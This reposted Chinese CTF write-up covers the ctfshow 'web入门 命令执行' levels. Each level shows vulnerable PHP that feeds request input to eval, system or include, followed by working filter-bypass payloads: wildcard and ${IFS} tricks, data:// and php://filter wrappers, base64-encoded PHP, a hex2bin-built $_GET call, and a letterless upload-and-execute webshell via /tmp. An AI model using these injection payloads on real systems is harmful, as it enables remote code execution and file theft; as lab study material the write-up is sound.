我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctfshow web入门 命令执行

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctfshow web入门 命令执行

web29

<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}
1.?c=system("cat fl``ag.php");2.?c=system("cat fla*.php");3.?c=echo `nl fl''ag.php`;

cat 可替换为 tac | more | less | curl | nl | tail | sort | strings

payload:

 ?c=system("cat fl``ag.php");

web30

payload:

 ?c=echo`nl fl*`;

web31

<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

payload:

1. ?c=eval($_GET[1]);&1=system("cat flag.php");2. ?c=echo`nl%09fl*`;

此题通过get先传一个参数1,在后面执行cat flag.php的命令是不会被过滤的


web32-36

<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

过滤空格 和 ;
用?>代替 ;

payload:

1. ?c=include$_GET[0]?>&0=data://text/plain,2. ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web37-38

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        include($c);        echo $flag;        }        }else{    highlight_file(__FILE__);}

payload:

1.?c=data:text//plain,2.?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web39

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        include($c.".php");    }        }else{    highlight_file(__FILE__);}

?c=php://filter/read=convert.base64-encode/resource=fl*(姿势不对)

还是用data
?>.php不影响前面已经闭合的php语句

payload:

?c=data://text/plain,

web40

<?phpif(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){        eval($c);    }        }else{    highlight_file(__FILE__);}

过滤的是中文括号,用到以下包含英文括号的函数:

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)pos():返回数组中当前元素的值scandir():获取目录下的文件array_reverse():将数组逆序排列next():函数将内部指针指向下一元素,并输出

payload:
先查看目录下的文件名:

 ?c=print_r(scandir(pos(localeconv())));


接着用array_reverse()和next(),使指针指向flag.php,并用highlight_file()输出,得到flag。

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

highlight_file或show_source


web42

<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    system($c." >/dev/null 2>&1");}else{    highlight_file(__FILE__);}

此题代码的system()中有" >/dev/null 2>&1",他的作用是将程序的标准输出和错误输出都存到/dev/null(舍弃掉)。

payload:

?c=ls;?c=cat flag.php;cat flag.php%0acat flag.php||cat flag.php%26cat flag.php%26%26

web43-44-45-46

过滤了cat用tac,过滤了;用%0a或 ||。

过滤了flag

?c=tac fl*%0a?c=tac fl??????%0a(?与省略的ag.php数量一致)?c=tac fl``ag.php||

过滤空格

?c=tac%09fla*%0a?c=tac$IFS$9fl'ag'.php||?c=tacfl'ag'.php||

过滤数字

%0a是换行符,能代替分号

虽然这题过滤了数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,所以并没有被过滤


web47-49

payload:

?c=tac%09fl'ag'.php%0a

web50-51


payload:

?c=tac

web52

这题过滤了<>,那么就用${IFS}代替空格,但是,没有flag.php

?c=ls${IFS}../../../||  查看有flag?c=nl${IFS}/fl''ag%0a

web53

payload:

?c=nl${IFS}fla''g.php%0a

web54


过滤了好多好多

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

payload:

?c=/bin/?at${IFS}f???????%0a?c=paste${IFS}fl?g.php%0a?c=uniq${IFS}f???????

web55(*)

<?php// 你们在炫技吗?if(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){        system($c);    }}else{    highlight_file(__FILE__);}

字母都过滤了

法一与法二都带有数字,法三不带有数字

法一
利用/bin/base64 flag.php%0a 将指定的文件的内容以base64加密的形式输出

?c=/???/????64 ????????%0a

法二
姿势一有些类似,不过利用的是/usr/bin目录:
主要放置一些应用软件工具的必备执行档主要:diff、zip、last、less、make、passwd、bzip2例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

大师傅们利用的是/usr/bin下的bzip2:

?c=/???/???/????2 ?????????c=/usr/bin/bzip2 flag.php

把flag.php压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来


法三

无数字字母webshell

看了之后才发现,我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限

在这个之前我们需要构造一个post上传文件的数据包
抓包
构造 ?c=.+/???/????????[@-[] 并添加命令

注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。



web57(*)

<?php// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){        system("cat ".$c.".php");    }}else{    highlight_file(__FILE__);}

字母 数字过滤 .过滤 上面方法不能用了
所以我们只需要凑成36即可

$(())

可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

echo $(())会返回0

取反:
如果b=~a,那么a+b=-1
echo $(())会返回0

$((~$(())))的结果是-1

$(( $((~$(()))) $((~$(()))) ))的结果是-2,相当于-1-1

所以将他们放一起就默认是相加,那么只需要放37个$((~$(())))就能得到-37的结果,再对它进行取反,最终得到36


web58-65

<?php// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

接下来开始绕disable_functions了。
读文件的函数有这些:

 1.file_get_contents() 2.highlight_file() 3.show_source() 4.fgets() 5.file() 6.readfile()


2.
在这里插入图片描述
3.
4.
5.

6.

payload:

c=show_source('flag.php');

web60

  //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)       copy()       rename()  //用法:       copy("flag.php","flag.txt");                   rename("flag.php","flag.txt");  

web66-70

”/“是根目录,”~“是家目录。

<?php// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}


扫描根目录scandir


显示根目录下的flag.txt

1.过滤了print_r()函数,可以使用var_dump()函数代替2.过滤了var_dump()函数,可以使用var_export()函数3.过滤了highlight_file()函数,可以尝试文件包含include4.除了scandir还有 (web73)c=$a=glob("', $content, $used_funcs);      foreach ($used_funcs[0] as $func) {        if (!in_array($func, $whitelist)) {            die("请不要输入奇奇怪怪的函数");        }    }    //帮你算出答案    eval('echo '.$content.';');}

这题只能用他给的函数,且限制了传入的值的长度为80,那么可以传入一个get参数,然后再传入想用的payload,需要编码绕过,首先,注意白名单中的一些函数:

base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符

先用无绕过的方式写出payload:

  ?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")

由于[]被ban了,可以用{}代替。
因为hex2bin函数被ban,要想使用它,必须要构造出他的其他进制形式,然后转换成hex2bin函数,那么base_convert()函数就发挥作用了,可以构造:

$pi=base_convert(37907361743,10,36),这里$pi就是hex2bin函数

则payload前半部分绕过_GET的就能出来了:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag// base_convert(37907361743,10,36) -> hex2bin// dechex(1598506324) -> 5f474554// hex2bin("5f474554") -> _GET$pi 的值为 hex2bin("5f474554")$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。

来源地址:https://blog.csdn.net/qq_53263789/article/details/113803325

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctfshow web入门 命令执行

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Java.Utils怎么执行命令行命令

小编给大家分享一下Java.Utils怎么执行命令行命令,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!常用的java框架有哪些1.SpringMVC,Spring
2023-06-14

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录